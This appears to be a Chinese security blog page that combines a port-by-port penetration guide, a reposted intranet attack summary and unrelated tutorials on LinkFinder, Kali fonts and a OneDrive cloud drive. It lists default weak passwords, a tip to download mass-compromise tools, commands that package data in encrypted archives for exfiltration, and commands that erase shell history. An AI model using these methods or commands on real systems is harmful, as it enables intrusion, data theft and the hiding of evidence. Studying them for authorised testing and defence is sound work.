80端口通常提供web服务。目前黑客对80端口的攻击典型是采用SQL注入的攻击方法,脚本渗透技术也是一项综合性极高的web渗透技术,同时脚本渗透技术对80端口也构成严重的威胁。
1 | `(1)对于windows2000的IIS5.0版本,黑客使用远程溢出直接对远程主机进行溢出攻击,成功后直接获得系统权限。``(2)对于windows2000中IIS5.0版本,黑客也尝试利用‘Microsoft IISCGI’文件名错误解码漏洞攻击。使用X-SCAN可直接探测到IIS漏洞。``(3)IIS写权限漏洞是由于IIS配置不当造成的安全问题,攻击者可向存在此类漏洞的服务器上传恶意代码,比如上传脚本木马扩大控制权限。``(4)普通的http封包是没有经过加密就在网络中传输的,这样就可通过嗅探类工具截取到敏感的数据。如使用Cain工具完成此类渗透。``(5)80端口的攻击,更多的是采用脚本渗透技术,利用web应用程序的漏洞进行渗透是目前很流行的攻击方式。``(6)对于渗透只开放80端口的服务器来说,难度很大。利用端口复用工具可解决此类技术难题。``(7)CC攻击效果不及DDOS效果明显,但是对于攻击一些小型web站点还是比较有用的。CC攻击可使目标站点运行缓慢,页面无法打开,有时还会爆出web程序的绝对路径。` |
135端口主要用于使用RPC协议并提供DCOM服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。同时这个端口也爆出过不少漏洞,最严重的就是缓冲区溢出漏洞,曾经疯狂一时的‘冲击波’病毒就是利用这个漏洞进行传播的。对于135端口的渗透,黑客的渗透方法为:
1 | `(1)查找存在RPC溢出的主机,进行远程溢出攻击,直接获得系统权限。如用‘DSScan’扫描存在此漏洞的主机。对存在漏洞的主机可使用‘ms05011.exe’进行溢出,溢出成功后获得系统权限。(https:``//wenku.baidu.com/view/68b3340c79563c1ec5da710a.html)``(2)扫描存在弱口令的135主机,利用RPC远程过程调用开启telnet服务并登录telnet执行系统命令。系统弱口令的扫描一般使用hydra。对于telnet服务的开启可使用工具kali链接。(https:``//wenku.baidu.com/view/c8b96ae2700abb68a982fbdf.html)` |
139端口是为‘NetBIOS SessionService’提供的,主要用于提供windows文件和打印机共享以及UNIX中的Samba服务。445端口也用于提供windows文件和打印机共享,在内网环境中使用的很广泛。这两个端口同样属于重点攻击对象,139/445端口曾出现过许多严重级别的漏洞。下面剖析渗透此类端口的基本思路。
1 | `(1)对于开放139/445端口的主机,一般尝试利用溢出漏洞对远程主机进行溢出攻击,成功后直接获得系统权限。利用msf的ms-017永恒之蓝。(https:``//blog.csdn.net/qq_41880069/article/details/82908131)``(2)对于攻击只开放445端口的主机,黑客一般使用工具‘MS06040’或‘MS08067’.可使用专用的445端口扫描器进行扫描。NS08067溢出工具对windows2003系统的溢出十分有效,工具基本使用参数在cmd下会有提示。(https:``//blog.csdn.net/god_7z1/article/details/6773652)``(3)对于开放139/445端口的主机,黑客一般使用IPC$进行渗透。在没有使用特点的账户和密码进行空连接时,权限是最小的。获得系统特定账户和密码成为提升权限的关键了,比如获得administrator账户的口令。(https:``//blog.warhut.cn/dmbj/145.html)``(4)对于开放139/445端口的主机,可利用共享获取敏感信息,这也是内网渗透中收集信息的基本途径。` |
1433是SQLServer默认的端口,SQL Server服务使用两个端口:tcp-1433、UDP-1434.其中1433用于供SQLServer对外提供服务,1434用于向请求者返回SQLServer使用了哪些TCP/IP端口。1433端口通常遭到黑客的攻击,而且攻击的方式层出不穷。最严重的莫过于远程溢出漏洞了,如由于SQL注射攻击的兴起,各类数据库时刻面临着安全威胁。利用SQL注射技术对数据库进行渗透是目前比较流行的攻击方式,此类技术属于脚本渗透技术。
1 | `(1)对于开放1433端口的SQL Server2000的数据库服务器,黑客尝试使用远程溢出漏洞对主机进行溢出测试,成功后直接获得系统权限。(https:``//blog.csdn.net/gxj022/article/details/4593015)``(2)暴力破解技术是一项经典的技术。一般破解的对象都是SA用户。通过字典破解的方式很快破解出SA的密码。(https:``//blog.csdn.net/kali_linux/article/details/50499576)``(3)嗅探技术同样能嗅探到SQL Server的登录密码。``(4)由于脚本程序编写的不严密,例如,程序员对参数过滤不严等,这都会造成严重的注射漏洞。通过SQL注射可间接性的对数据库服务器进行渗透,通过调用一些存储过程执行系统命令。可以使用SQL综合利用工具完成。` |
1521是大型数据库Oracle的默认监听端口,估计新手还对此端口比较陌生,平时大家接触的比较多的是Access,MSSQL以及MYSQL这三种数据库。一般大型站点才会部署这种比较昂贵的数据库系统。对于渗透这种比较复杂的数据库系统,黑客的思路如下:
1 | (1)Oracle拥有非常多的默认用户名和密码,为了获得数据库系统的访问权限,破解数据库系统用户以及密码是黑客必须攻破的一道安全防线。 |
-————————————————————–
以上的端口渗透原理只是用作分析,现在网上有很多自动的端口入侵工具,比如445批量抓鸡器或者1433批量抓鸡器。大家有兴趣的可以去网上下载试用。————————————————————
NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。如今NFS具备了防止被利用导出文件夹的功能,但遗留系统中的NFS服务配置不当,则仍可能遭到恶意攻击者的利用。
1 | `未授权访问。(https:``//www.freebuf.com/articles/network/159468.html) (http://www.secist.com/archives/6192.htm)` |
3306是MYSQL数据库默认的监听端口,通常部署在中型web系统中。在国内LAMP的配置是非常流行的,对于php+mysql构架的攻击也是属于比较热门的话题。mysql数据库允许用户使用自定义函数功能,这使得黑客可编写恶意的自定义函数对服务器进行渗透,最后取得服务器最高权限。对于3306端口的渗透,黑客的方法如下:
1 | `(1)由于管理者安全意识淡薄,通常管理密码设置过于简单,甚至为空口令。使用破解软件很容易破解此类密码,利用破解的密码登录远程mysql数据库,上传构造的恶意UDF自定义函数代码进行注册,通过调用注册的恶意函数执行系统命令。或者向web目录导出恶意的脚本程序,以控制整个web系统。``(2)功能强大的‘cain’同样支持对3306端口的嗅探,同时嗅探也是渗透思路的一种。``(3)SQL注入同样对mysql数据库威胁巨大,不仅可以获取数据库的敏感信息,还可使用load_file()函数读取系统的敏感配置文件或者从web数据库链接文件中获得root口令等,导出恶意代码到指定路径等。` |
3389是windows远程桌面服务默认监听的端口,管理员通过远程桌面对服务器进行维护,这给管理工作带来的极大的方便。通常此端口也是黑客们较为感兴趣的端口之一,利用它可对远程服务器进行控制,而且不需要另外安装额外的软件,实现方法比较简单。当然这也是系统合法的服务,通常是不会被杀毒软件所查杀的。使用‘输入法漏洞’进行渗透。
1 | `(1)对于windows2000的旧系统版本,使用‘输入法漏洞’进行渗透。``(2)cain是一款超级的渗透工具,同样支持对3389端口的嗅探。``(3)Shift粘滞键后门:5次shift后门``(4)社会工程学通常是最可怕的攻击技术,如果管理者的一切习惯和规律被黑客摸透的话,那么他管理的网络系统会因为他的弱点被渗透。(5)爆破3389端口。这里还是推荐使用hydra爆破工具。(6)ms12_020死亡蓝屏攻击。(https:``//www.cnblogs.com/R-Hacker/p/9178066.html)(7)https://www.cnblogs.com/backlion/p/9429738.html` |
4899端口是remoteadministrator远程控制软件默认监听的端口,也就是平时常说的radmini影子。radmini目前支持TCP/IP协议,应用十分广泛,在很多服务器上都会看到该款软件的影子。对于此软件的渗透,思路如下:
1 | `(1)radmini同样存在不少弱口令的主机,通过专用扫描器可探测到此类存在漏洞的主机。``(2)radmini远控的连接密码和端口都是写入到注册表系统中的,通过使用webshell注册表读取功能可读取radmini在注册表的各项键值内容,从而破解加密的密码散列。` |
PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。包括kali系统中msf也使用这个数据库;浅谈postgresql数据库攻击技术 大部分关于它的攻击依旧是sql注入,所以注入才是数据库不变的话题。
1 | `(1)爆破:弱口令:postgres postgres``(2)缓冲区溢出:CVE-2014-2669。(http:``//drops.xmd5.com/static/drops/tips-6449.html)(3)远程代码执行:CVE-2018-1058。(https://www.secpulse.com/archives/69153.html)` |
5631端口是著名远程控制软件pcanywhere的默认监听端口,同时也是世界领先的远程控制软件。利用此软件,用户可以有效管理计算机并快速解决技术支持问题。由于软件的设计缺陷,使得黑客可随意下载保存连接密码的*.cif文件,通过专用破解软件进行破解。这些操作都必须在拥有一定权限下才可完成,至少通过脚本渗透获得一个webshell。通常这些操作在黑客界被称为pcanywhere提权技术。
1 | `PcAnyWhere提权。(https:``//blog.csdn.net/Fly_hps/article/details/80377199)` |
5900端口是优秀远程控制软件VNC的默认监听端口,此软件由著名的AT&T的欧洲研究实验室开发的。VNC是在基于unix和linux操作系统的免费的开放源码软件,远程控制能力强大,高效实用,其性能可以和windows和MAC中的任何一款控制软件媲美。对于该端口的渗透,思路如下:
1 | `(1)VNC软件存在密码验证绕过漏洞,此高危漏洞可以使得恶意攻击者不需要密码就可以登录到一个远程系统。``(2)cain同样支持对VNC的嗅探,同时支持端口修改。``(3)VNC的配置信息同样被写入注册表系统中,其中包括连接的密码和端口。利用webshell的注册表读取功能进行读取加密算法,然后破解。(4)VNC拒绝服务攻击(CVE-2015-5239)。(http:``//blogs.360.cn/post/vnc%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9Ecve-2015-5239%E5%88%86%E6%9E%90.html)(5)VNC权限提升(CVE-2013-6886)。` |
Redis是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问。
1 | `(1)爆破:弱口令``(2)未授权访问+配合ssh key提权。(http:``//www.alloyteam.com/2017/07/12910/)` |
7001/7002通常是weblogic中间件端口
1 | `(1)弱口令、爆破,弱密码一般为weblogic/Oracle@123 or weblogic``(2)管理后台部署 war 后门``(3)SSRF``(4)反序列化漏洞``(5)weblogic_uachttps:``//github.com/vulhub/vulhub/tree/master/weblogic/ssrfhttps://bbs.pediy.com/thread-224954.htmhttps://fuping.site/2017/06/05/Weblogic-Vulnerability-Verification/https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html` |
8080端口通常是apache_Tomcat服务器默认监听端口,apache是世界使用排名第一的web服务器。国内很多大型系统都是使用apache服务器,对于这种大型服务器的渗透,主要有以下方法:
1 | (1)Tomcat远程代码执行漏洞(https:``//www.freebuf.com/column/159200.html) |
MongoDB,NoSQL数据库;攻击方法与其他数据库类似
1 | `(1)爆破:弱口令``(2)未授权访问;(http:``//www.cnblogs.com/LittleHann/p/6252421.html)(3)http://www.tiejiang.org/19157.htm` |
今日,和往常一样在网上浏览一些大牛写的技术文章,来填充自己的知识空白,于是看到了先知社区上的这篇《内网安全检查/渗透总结》,看到这篇文章我就被深深的震撼了,总结的太好了,对于我这个菜鸟来说,填补了我不少知识空白。所以这里转载保存,方便他日继续消化。
有2种思路:
一般内网安全检查使用第一种思路,实际的攻击2种思路结合实现。
按照第一种思路,个人认为可以分为4个阶段:
第二种思路,社工的比重更大一些,本篇不多做介绍。
该阶段识别内网存活的主机 IP, 运行端口扫描和漏洞扫描获取可以利用的漏洞
使用端口扫描工具可以实现主机发现的功能,但也有些动作小的主机发现工具(Kali),可以有效的发现存活主机。自己写个 ping 的循环脚本也可以。
不受限的测试直接端口扫描了。
有授权的情况下直接使用 nmap 、masscan 等端口扫描工具直接获取开放的端口信息。
作为跳板机可以使用 Metasploit 做端口扫描,也可以在跳板主机上上传端口扫描工具,使用工具扫描。
入侵到服务器上也可以根据服务器的环境使用自定义的端口扫描脚本扫描端口。
python 3 的端口扫描脚本
1 | # This script runs on Python 3 |
有个使用 Python 端口扫描的介绍
https://thief.one/2018/05/17/1/?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
Windows 下基于 Powershell 的端口扫描脚本。
https://github.com/BornToBeRoot/PowerShell_IPv4PortScanner/tree/master/Scripts
发现端口后使用客户端连接工具或者 nc 连接,获取服务端的 banner 信息。
有授权的情况下,使用绿盟极光、Nessus、Nexpose 等漏扫工具直接扫描目标,可以直接看到存活主机和主机的漏洞情况。
获取目标的主机存活信息和端口开放信息后,就可以尝试分析目标的网络结构,安全防御策略。按照办公网和生产网分别说一下:
按照系统区分:
按照网络区分:
按照设备区分:
办公网的安全防护水平一般较差(相对),能绕过杀毒软件基本上就畅通无阻了,利用信任关系容易扩大攻击面,获取数据也比生产网简单。
按照系统区分:
按照网络区分:
根据目标开展的不同业务,对应的服务器可能存在不同的网段上,分析服务器上运行的服务和进程可以推断目标使用的运维监控管理系统和安全防护系统,可以大概推断出入侵目标的 IT 运维水平和安全防护水平,在接下来的入侵考虑采用什么样的方法。
使用端口扫描、漏洞扫描验证扫描目标开放的端口,在对应端口上开放的服务,运行该服务的软件和版本号。
如果只是使用端口扫描,只是发现开放的端口,接着使用 nc 可以获取端口上服务的 banner 信息,获取 banner 信息后需要在漏洞库上查找对应 CVE,后面就是验证漏洞是否存在。如果是使用漏洞扫描工具可以直接获取对应端口上的漏洞,后面也是验证漏洞。
安全检查一般是尽可能的发现所有漏洞,对漏洞的风险进行评估和修复。入侵的话只关注高危远程代码执行和敏感信息泄露漏洞等可以直接利用的漏洞。
漏洞验证可以找对应的 CVE 编号的 POC、EXP,利用代码在 ExploitDB 、seebug上查看或者在 github 上搜索是否有相关的漏洞验证或利用的工具。
从公网直接攻击目标对外的 Web 应用,或者在授权的情况下在内网进行渗透测试,如果是入侵目的可以直接寻找注入、上传、代码执行、文件包含等高危漏洞,尝试获取系统权限,或者直接能拿到敏感数据。
允许扫描的话一般使用 WVS 直接扫描,也可以使用专门扫描特定漏洞的扫描工具如 sqlmap、XSStrike 等工具扫描特定类型的漏洞。不允许直接扫描,使用 Burp 手工慢慢找了。
Tomcat是Apache Jakarta软件组织的一个子项目,Tomcat是一个JSP/Servlet容器,它是在SUN公司的JSWDK(Java Server Web Development Kit)基础上发展起来的一个JSP和Servlet规范的标准实现,使用Tomcat可以体验JSP和Servlet的最新规范。
是一个运行EJB的J2EE应用服务器。它是开放源代码的项目,遵循最新的J2EE规范。从JBoss项目开始至今,它已经从一个EJB容器发展成为一个基于的 J2EE 的一个Web 操作系统(operating system for web),它体现了 J2EE 规范中最新的技术。
WebLogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
IBM公司一套典型的电子商务应用开发工具及运行环境。
Struts2是一个优雅的,可扩展的框架,用于创建企业准备的Java Web应用程序。出现的漏洞也着实的多每爆一个各大漏洞平台上就会被刷屏。
Spring Framework 是一个开源的Java/Java EE全功能栈(full-stack)的应用程序框架,以Apache License 2.0开源许可协议的形式发布,也有.NET平台上的移植版本。Spring Framework提供了一个简易的开发方式,这种开发方式,将避免那些可能致使底层代码变得繁杂混乱的大量的属性文件和帮助类。
一般分自动化部署和运维监控相关的的工具。漏洞可以通过搜索引擎搜索,github搜索,ExploitDB搜索,官网上的安全通告获取。
内网的通用类应用比较常见的问题是弱口令,如果一个管理员可以登录几个系统,那在这几个系统的账号、密码也基本上是一样的。
GitLab是一个利用 Ruby on Rails 开发的开源应用程序,实现一个自托管的项目仓库,可通过Web界面进行访问公开的或者私人项目。
Jenkins是一种跨平台的持续集成和交付的应用软件,它便于不断稳定地交付新的软件版本,并提高你的工作效率。这款开发运维工具还让开发人员更容易把项目的变化整合起来,并使用大量的测试和部署技术。
Puppet Enterprise专门管理基础设施即代码(IAC),在这种类型的IT基础设施配置过程中,系统用代码而不是脚本流程来自动构建、管理和配置。由于它是代码,整个过程易于重复。Puppet有助于更容易控制版本、自动化测试和持续交付,可以更快速地响应问题或错误。
Ansible是一种配置和管理工具,面向客户端的软件部署和配置,支持Unix、Linux和Windows。它使 用JSON和YAML,而不是IAC,根本不需要节点代理就可以安装。它可以通过OpenStack在内部系统上使用,也可以在亚马逊EC2上使用。
Nagios是一款开源的电脑系统和网络监视工具,能有效监控Windows、Linux和Unix的主机状态,交换机路由器等网络设置,打印机等。在系统或服务状态异常时发出邮件或短信报警第一时间通知网站运维人员,在状态恢复后发出正常的邮件或短信通知。
Zabbix 是一款强大的开源分布式监控系统, 能够将SNMP
、JMX
、Zabbix Agent
提供的数据通过WEB GUI
的方式进行展示.
Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。
Splunk Enterprise 可以从任何来源监控和分析机器数据,以提供操作智能,从而优化您的 IT、安全和业务绩效。Splunk Enterprise 具有直观的分析功能、机器学习、打包应用程序和开放式 API,是一个灵活的平台,可从重点用例扩展到企业范围的分析主干。
还有常见邮件应用、CMS 应用,在搜索引擎上查找对应的漏洞,利用已知漏洞进行攻击。
一部分是使用腾讯企业邮箱、阿里企业邮箱的,很难有可利用的漏洞,另外一种是能独立部署的邮件系统,政企常用的邮箱应用:
PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。包括kali系统中msf也使用这个数据库;浅谈postgresql数据库攻击技术 大部分关于它的攻击依旧是sql注入,所以注入才是数据库不变的话题。
MongoDB,NoSQL数据库;攻击方法与其他数据库类似》
Redis是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问。
FTP服务:ftp服务我分为两种情况,第一种是使用系统软件来配置,比如IIS中的FTP文件共享或Linux中的默认服务软件;第二种是通过第三方软件来配置,比如Serv-U还有一些网上写的简易ftp服务器等;
默认端口:20(数据端口);21(控制端口);69(tftp小型文件传输协议)
NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。如今NFS具备了防止被利用导出文件夹的功能,但遗留系统中的NFS服务配置不当,则仍可能遭到恶意攻击者的利用。
Samba是linux和unix系统上实现SMB/CIFS协议的一个免费软件,由服务器和客户端程序构成。而SMB是局域网支持共享文件和打印机的一种通信协议,为局域网内不同计算机之间提供文件及打印机等资源的共享服务。
SSH 是协议,通常使用 OpenSSH 软件实现协议应用。SSH 为 Secure Shell 的缩写,由 IETF 的网络工作小组(Network Working Group)所制定;SSH 为建立在应用层和传输层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其它网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。
Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在終端使用者的电脑上使用telnet程序,用它连接到服务器。終端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。
VNC(Virtual Network Computing),为一种使用RFB协议的显示屏画面分享及远程操作软件。此软件借由网络,可发送键盘与鼠标的动作及即时的显示屏画面。
smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件!
使用 VMware vCloud 可将现有数据中心内的虚拟基础架构资源池化,并将其作为基于目录的服务交付。通过与云计算基础架构的最佳平台 VMware vSphere 配合使用,VMware vCloud Director 可为客户提供构建安全的私有云,从而改变 IT 部门交付和管理基础架构服务以及用户访问和使用这些服务的方式。
一般组织中很多独立安装的 Esxi 形式的私有云,或独立部署的虚拟化系统。
OpenStack是基础设施即服务(IaaS)软件,让任何人都可以自行创建和提供云计算服务。此外,OpenStack也用作创建防火墙内的“私有云”(Private Cloud),提供机构或企业内各部门共享资源。
Docker是一个开放源代码软件项目,让应用程序布署在软件容器下的工作可以自动化进行,借此在Linux操作系统上,提供一个额外的软件抽象层,以及操作系统层虚拟化的自动管理机制[1]。Docker利用Linux核心中的资源分脱机制,例如cgroups,以及Linux核心名字空间(name space),来创建独立的软件容器(containers)。这可以在单一Linux实体下运作,避免引导一个虚拟机造成的额外负担。Linux核心对名字空间的支持完全隔离了工作环境中应用程序的视野,包括进程树、网络、用户ID与挂载文件系统,而核心的cgroup提供资源隔离,包括CPU、内存、block I/O与网络。从0.9版本起,Dockers在使用抽象虚拟是经由libvirt的LXC与systemd - nspawn提供界面的基础上,开始包括libcontainer函数库做为以自己的方式开始直接使用由Linux核心提供的虚拟化的设施。
Elasticsearch 是一个分布式的搜索和分析引擎,可以用于全文检索、结构化检索和分析,并能将这三者结合起来。Elasticsearch 基于 Lucene 开发,现在是使用最广的开源搜索引擎之一,Wikipedia、Stack Overflow、GitHub 等都基于 Elasticsearch 来构建他们的搜索引擎。
Hadoop是一个开源的框架,可编写和运行分布式应用处理大规模数据,是专为离线和大规模数据分析而设计的,并不适合那种对几个记录随机读写的在线事务处理模式。Hadoop=HDFS(文件系统,数据存储技术相关)+ Mapreduce(数据处理),Hadoop的数据来源可以是任何形式,在处理半结构化和非结构化数据上与关系型数据库相比有更好的性能,具有更灵活的处理能力,不管任何数据形式最终会转化为key/value,key/value是基本数据单元。用函数式变成Mapreduce代替SQL,SQL是查询语句,而Mapreduce则是使用脚本和代码,而对于适用于关系型数据库,习惯SQL的Hadoop有开源工具hive代替。 Hadoop就是一个分布式计算的解决方案。
参考:
Hive是Hadoop家族中一款数据仓库产品,Hive最大的特点就是提供了类SQL的语法,封装了底层的MapReduce过程,让有SQL基础的业务人员,也可以直接利用Hadoop进行大数据的操作。
参考:
Apache Sqoop(SQL-to-Hadoop) 项目旨在协助 RDBMS 与 Hadoop 之间进行高效的大数据交流。用户可以在 Sqoop 的帮助下,轻松地把关系型数据库的数据导入到 Hadoop 与其相关的系统 (如HBase和Hive)中;同时也可以把数据从 Hadoop 系统里抽取并导出到关系型数据库里。除了这些主要的功能外,Sqoop 也提供了一些诸如查看数据库表等实用的小工具。
参考
HBase建立在HDFS之上,提供高可靠性、高性能、列存储、可伸缩、实时读写的数据库系统。它介于NoSQL和RDBMS之间,仅能通过行键(row key)和行键序列来检索数据,仅支持单行事务(可通过Hive支持来实现多表联合等复杂操作)。主要用来存储非结构化和半结构化的松散数据。与Hadoop一样,HBase目标主要依靠横向扩展,通过不断增加廉价的商用服务器,来增加计算和存储能力。
参考:
Spark是UC Berkeley AMP lab所开源的类Hadoop MapReduce的通用的并行计算框架,Spark基于map reduce算法实现的分布式计算,拥有Hadoop MapReduce所具有的优点;但不同于MapReduce的是Job中间输出和结果可以保存在内存中,从而不再需要读写HDFS。
参考:
SecWiki 总结了:
通常域内渗透的过程
假设到这里已经从外网或内网利用漏洞入侵到到一台服务器,并且通过提权获取了主机管理员权限,接下来要做的工作是获取域管理员权限,并找到敏感数据。
通常会使用到的工具:
一般熟练使用一种就够用了,以 Empire 为例:
Empire 和 Metasploit 的使用原理是一样的,都是先设置一个监听,然后去生成一个木马,然后在目标主机运行该木马,我们的监听就会连接上反弹回来的代理。
参考:
域渗透另外一个工具 mimikatz,用于抓 Windows 密码,使用参考:
参考:
端口转发及代理类工具
在中转服务器上下载端口转发工具(加密压缩):
关于打包
Rar文件打包,压缩d:\data\目录下所有2013-01-01后修改的doc文件,100M/包密码为Pass,-x为排除选项
1 | rar.exe a–r –v100m new.rar –ta20130101000000 –hpPass –n*.doc –x*.exe d:\data\ |
7z加密,压缩d:\data下所有文件,密码为Pass,分卷100M/包
1 | 7z.exe a c:\xx.7z -pPass -mhe d:\data -v100m |
Linux用 tar 打包文件是可以加密码,要跟openssl结合使用。
1 | tar -zcvf - pma|openssl des3 -salt -k password | dd of=pma.des3 |
使用 tar 对加密文件解压:
1 | dd if=pma.des3 |openssl des3 -d -k password|tar zxf - |
### 3.4.2 文件传输
几个思路
使用端口转发直接传送数据;
搭建 FTP、HTTP 协议;
上传到云端再下载;
一般用Matisploit 的 msfvenom,使用参考:
SET 也可以生成后门程序,另外也可以关注一下最新的 Office、PDF 的漏洞
这部分对于安全检查、或授权渗透测试工作不是重点,通常也不考虑。
在做日志清理前需要了解以下的内容:
Windows日志类型
Linux操作日志
Linux历史操作
1 | unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; |
SSHD登陆记录
删除~/.ssh/known_hosts中记录
修改文件时间戳
touch –r 原文件要修改文件
删除临时使用文件,尤其是tmp目录
感谢大佬们的总结
我们在渗透测试的之前,信息收集是必要的步骤,而JS文件中往往会暴露出很多的信息,比如一些注释的中铭感信息,内网ip地址泄露等等,还会有一些绝对路径或者相对路径的url,而这些url中很有可能就存在着一些未授权访问或者其他更高级的漏洞,但是手动的去一个个查看的效率太过于地下,所以这里分享一个JS文件的信息收集工具——LinkFinder
LinkFinder是一个Python脚本,旨在发现JavaScript文件中的端点及其参数。这样,渗透测试人员和Bug猎手就可以在他们正在测试的网站上收集新的,隐藏的端点。导致新的测试环境,可能包含新的漏洞。它通过将jsbeautifier for python与相当大的正则表达式结合使用来实现。正则表达式由四个小的正则表达式组成。这些负责查找:
https://example.com/*
)/\*
或../*
)text/test.php
)的相对URLtest.php
)输出以HTML或纯文本形式给出
克隆到本地安装
LinkFinder支持Python 3。
1 | $ git clone https://github.com/GerbenJavado/LinkFinder.git |
解决依赖关系
1 | pip3 install -r requirements.txt |
创建docker镜像
docker build -t linkfinder
运行docker
docker run --rm -v $(pwd):/linkfinder/output linkfinder -i http://example.com/1.js -o /linkfinder/output/output.html
确保使用的``/linkfinder/output` 路径在你的输出路径,
Short Form | Long Form | Description |
---|---|---|
-i | –input | 输入一个URL,文件或者文件夹,js文件必须要以.js后缀结尾 |
-o | –output | 默认是以html的结果输出,也可以使用命令行的形式输出 |
-r | –regex | 使用正则快速的筛选我们需要的信息 (e.g. ^/api/) |
-d | –domain | Toggle to use when analyzing an entire domain. Enumerates over all found JS files. |
-b | –burp | Toggle to use when inputting a Burp ‘Save selected’ file containing multiple JS files |
-c | –cookies | Add cookies to the request |
-h | –help | show the help message and exit |
1 | python linkfinder.py -i https://example.com/1.js -o results.html |
1 | python linkfinder.py -i https://example.com/1.js -o cli |
1 | python linkfinder.py -i https://example.com -d |
Save selected items
将该文件作为输入):1 | python linkfinder.py -i burpfile -b |
1 | python linkfinder.py -i 'Desktop/*.js' -r ^/api/ -o results.html |
我们在渗透测试的过程中,一般大型的网站都会有waf等安全设备,对于我这种脚本小子来说,一下子就“萎了”,所以这里记载下常见的waf,以及一些常见的绕过方式,相关资料收集于互联网,如有侵权,请与我联系。
#0x11 Webknight
#0x12 ModSecurity
Kali Linux不用多说,知道的人都知道,国外的一个渗透测试系统,集成了很多的渗透工具,最近跟新了2019.4但是很多小伙伴安装后显示有中文乱码问题,这里教大家如何解决。
使用vim编辑器修改:vim /etc/apt/sources.list添加Kali 清华大学源使用mousepad编辑器修改:mousepad /etc/apt/sources.list添Kali 清华大学源
1 | #清华大学 [更新源] |
编辑结束保存文件,终端中输入下面的命令
apt-get clean && apt-get update -y
在终端中输入下面的命令,安装开源的文泉驿微米黑和文泉驿正黑字体
sudo apt-get install ttf-wqy-microhei ttf-wqy-zenhei xfonts-intl-chinese
在终端中输入dpkg-reconfigure locales
进入图形化界面之后,选中1en_US.UTF-8 UTF-81
和zh_CN.UTF-8 UTF-8
,空格是选择,Tab
是切换,*
是选中)
确定后,将zh_CN.UTF-8 UTF-8选为默认。
dpkg-reconfigure locales
输入reboot
命令,重启kali后,一切显示正常。
#0x05 参考:
参考群里大佬的分享。
前几日在群里看到有人使用腾讯的SCF(云函数)+onedrive来搭建属于自己的个人网盘,对此我颇有兴趣今日就来研究研究,今将研究结果奉上,如有不足之处,还请提出改正,共同进步。
原理就是使用临时邮箱申请5T空间,之前的那个申请网站由于被人恶意使用短信炸弹轰炸,已经不能收到短信了,所以,今天推荐另一个网站。
ps:个人不保证不会翻车,大家可以用来做自己的备份云盘。
申请5T空间:传送门
申请教程可参考我的另一篇文章:onedrive+oneindex打造属于自己的个人网盘
登录腾讯云函数平台后,新建一个云函数,地区选择香港或者新加坡地区。创建的云函数名称随便填写,运行的环境选择PHP7.2 ,创建方式选择模板函数;模板选择helloword模板,下一步直接完成。
创建一个新的函数服务,地址选择中国香港
新建一个helloworld
模板函数
拉到最下面,点击下一步,然后点击完成
从GitHub下载OneDrive_SCF源码,进入函数服务选择函数代码,提交代码选择本地上传文件夹,上传刚才解压的文件夹(注意:如果解压了双层文件夹需要点入第二个文件夹)
选择API网关触发器
,勾选启用集成响应
,然后点击保存。
然后会生成一个访问路径。点击这个路径
然后使用微信扫描二维码,获得密钥全部的内容
将刚刚的新建的秘钥添加到环境变量中。
添加完成
其他的环境变量添加
1 | sitename=站点名称 |
再次刷新刚刚的错误页面
登录OneDrive账号,这里我已经登录过了,直接选择就行了。
成功登录后自动跳转到云盘
点击触发方式,然后点击API服务名
选择自定义域名,新建。
在域名厂商设置域名解析,我域名是在腾讯买的,所以直接到域名解析出添加一个域名解析记录,主机记录就是二级域名,记录类型是CNAME(域名指向域名),记录值填触发方式中的访问路径。
设置完域名解析后,在到自定义域名除继续设置。
ps:没有证书的话,就选择http协议。
在index.php中的609行左右,添加域名协议的代码
再次使用域名访问,显示没有uri路径设置有问题。
重新修改路径
再次使用域名访问
在创建API网管触发器的时候,出现操作未授权的错误,和教程不一样,网上也搜不到相关的信息。
解决方法:其实就是用户自己没有授权,重新返回主页在点击去时会弹出授权,直接授权就好了。
https://eebk.com/archives/30.html